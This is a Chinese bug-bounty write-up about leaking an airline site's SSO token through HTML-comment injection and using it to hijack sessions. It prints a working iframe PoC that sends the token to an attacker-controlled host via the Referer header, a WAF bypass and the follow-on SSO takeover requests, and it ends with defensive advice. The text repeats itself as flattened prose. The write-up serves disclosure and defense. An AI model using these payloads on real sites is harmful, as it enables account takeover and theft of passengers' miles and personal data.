挖洞经验 | 一次搞笑的航空里程奖励测试
字数 1195 2025-08-15 21:30:53

航空公司网站SSO令牌泄露与会话劫持漏洞分析

漏洞概述

本案例涉及一家航空公司网站(funnyairline.com)的核心应用及其二级域名网站(secondary.com)之间的单点登录(SSO)系统存在的安全漏洞。攻击者能够通过精心构造的请求窃取身份验证令牌(ciToken),进而实现会话劫持,最终被评级为P1级高危漏洞。

技术背景

SSO实现机制

  • 主站与二级域名网站共享同一访问令牌(ciToken)
  • ciToken是经过MD5加密的字符串
  • 登录主站后,点击二级站点登录按钮可无需再次输入密码

关键组件

  • ciToken: 主身份验证令牌
  • CMSSO.jsp: 二级站点单点登录处理页面
  • onlineAuthCode: 会话验证码

漏洞发现过程

初始发现

  1. 使用Burp Suite抓包时发现ciToken被包含在HTML注释标签中:

    <!-- ciToken: token_value -->
    
  2. 目标网站部署有Akamai CDN WAF,但可通过-->实现WAF绕过

  3. 最初构造的XSS漏洞(onauxclick事件)被标记为重复报告

深入测试

发现主站存在重定向跳转端点:

https://funnyairline.com/sso?return_to=crew&D=%trash=1

服务端响应最终跳转至:

Location: secondary.com/CMSSO.jsp?cid=USERTOKEN&trash=1

漏洞利用技术

令牌泄露构造

构造特殊重定向请求:

https://funnyairline.com/sso?return_to=crew&D=--><image/src=//ssrftest.com/x/eoh39.gif>

服务端响应:

https://secondary.com/CMSSO.jsp?cid=USERTOKENLEAKED--><image/src=//ssrftest.com/x/eoh39.gif>

响应中包含:

<!-- ciToken: token --><image/src=//ssrftest.com/x/eoh39.gif>

完整PoC

<iframe src="https://funnyairline.com/sso?return_to=crew&D=sadsad--><image/src=//ssrftest.com/x/eoh39.gif>" width=0 height=0></iframe>

利用技术细节

  1. 通过Referer头将ciToken泄露到攻击者控制的ssrftest.com
  2. 目标网站支持框架响应(Frameable response)
  3. ciToken可无限次复用,无时间限制

会话劫持流程

  1. 获取ciToken后,构造SSO登录请求:

    https://secondary.com/CMSSO.jsp?RT=加密cookie值
    

    RT参数包含认证后的加密cookie

  2. 服务端响应生成onlineAuthCode:

    Location: https://anysecondarydomain.com/Account/SSOLogOn?onlineAuthCode=U2FsdGVkX1-ezqwA-c5zRMSDSM-UjnvL80xFZDm6PhwU9ZnxB49aMy-RBji_nLui
    
  3. 使用onlineAuthCode实现完整会话控制

漏洞影响

  1. 账户接管:攻击者可控制受害者账户
  2. 里程盗取:将受害者账户里程转移到攻击者账户
  3. 优惠券滥用:滥用里程兑换功能
  4. PII泄露:获取乘客个人信息
  5. 业务逻辑滥用:利用二级域名上的各种业务功能

防御建议

  1. 令牌保护

    • 不应在HTML注释中暴露敏感令牌
    • 使用HttpOnly和Secure标志的cookie
    • 实现令牌绑定机制
  2. 输入验证

    • 严格验证重定向参数
    • 实现安全的URL跳转白名单
  3. 会话管理

    • 为令牌设置合理有效期
    • 实现单次使用令牌
    • 增加CSRF保护
  4. WAF规则

    • 更新规则防止HTML注释注入
    • 检测异常重定向请求
  5. 架构设计

    • 避免使用客户端令牌传递认证信息
    • 考虑使用OAuth等标准协议替代自定义SSO

漏洞奖励争议

  1. 航空公司原承诺P1漏洞奖励100万英里里程
  2. 实际仅奖励5万英里
  3. 拒绝理由:"害怕引起老板的注意"
  4. 对比其他公司按实际影响评定奖励

经验总结

  1. 选择有明确奖励政策的众测平台
  2. 优先选择有申诉调解渠道的项目
  3. 评估目标的范围、奖励金额和支付速度
  4. 即使漏洞被标记为"重复",也应探索其潜在影响
  5. 完整记录漏洞利用链以证明实际危害
航空公司网站SSO令牌泄露与会话劫持漏洞分析 漏洞概述 本案例涉及一家航空公司网站(funnyairline.com)的核心应用及其二级域名网站(secondary.com)之间的单点登录(SSO)系统存在的安全漏洞。攻击者能够通过精心构造的请求窃取身份验证令牌(ciToken),进而实现会话劫持,最终被评级为P1级高危漏洞。 技术背景 SSO实现机制 主站与二级域名网站共享同一访问令牌(ciToken) ciToken是经过MD5加密的字符串 登录主站后,点击二级站点登录按钮可无需再次输入密码 关键组件 ciToken : 主身份验证令牌 CMSSO.jsp : 二级站点单点登录处理页面 onlineAuthCode : 会话验证码 漏洞发现过程 初始发现 使用Burp Suite抓包时发现ciToken被包含在HTML注释标签中: 目标网站部署有Akamai CDN WAF,但可通过 --> 实现WAF绕过 最初构造的XSS漏洞( onauxclick 事件)被标记为重复报告 深入测试 发现主站存在重定向跳转端点: 服务端响应最终跳转至: 漏洞利用技术 令牌泄露构造 构造特殊重定向请求: 服务端响应: 响应中包含: 完整PoC 利用技术细节 通过Referer头将ciToken泄露到攻击者控制的ssrftest.com 目标网站支持框架响应(Frameable response) ciToken可无限次复用,无时间限制 会话劫持流程 获取ciToken后,构造SSO登录请求: RT参数包含认证后的加密cookie 服务端响应生成onlineAuthCode: 使用onlineAuthCode实现完整会话控制 漏洞影响 账户接管 :攻击者可控制受害者账户 里程盗取 :将受害者账户里程转移到攻击者账户 优惠券滥用 :滥用里程兑换功能 PII泄露 :获取乘客个人信息 业务逻辑滥用 :利用二级域名上的各种业务功能 防御建议 令牌保护 : 不应在HTML注释中暴露敏感令牌 使用HttpOnly和Secure标志的cookie 实现令牌绑定机制 输入验证 : 严格验证重定向参数 实现安全的URL跳转白名单 会话管理 : 为令牌设置合理有效期 实现单次使用令牌 增加CSRF保护 WAF规则 : 更新规则防止HTML注释注入 检测异常重定向请求 架构设计 : 避免使用客户端令牌传递认证信息 考虑使用OAuth等标准协议替代自定义SSO 漏洞奖励争议 航空公司原承诺P1漏洞奖励100万英里里程 实际仅奖励5万英里 拒绝理由:"害怕引起老板的注意" 对比其他公司按实际影响评定奖励 经验总结 选择有明确奖励政策的众测平台 优先选择有申诉调解渠道的项目 评估目标的范围、奖励金额和支付速度 即使漏洞被标记为"重复",也应探索其潜在影响 完整记录漏洞利用链以证明实际危害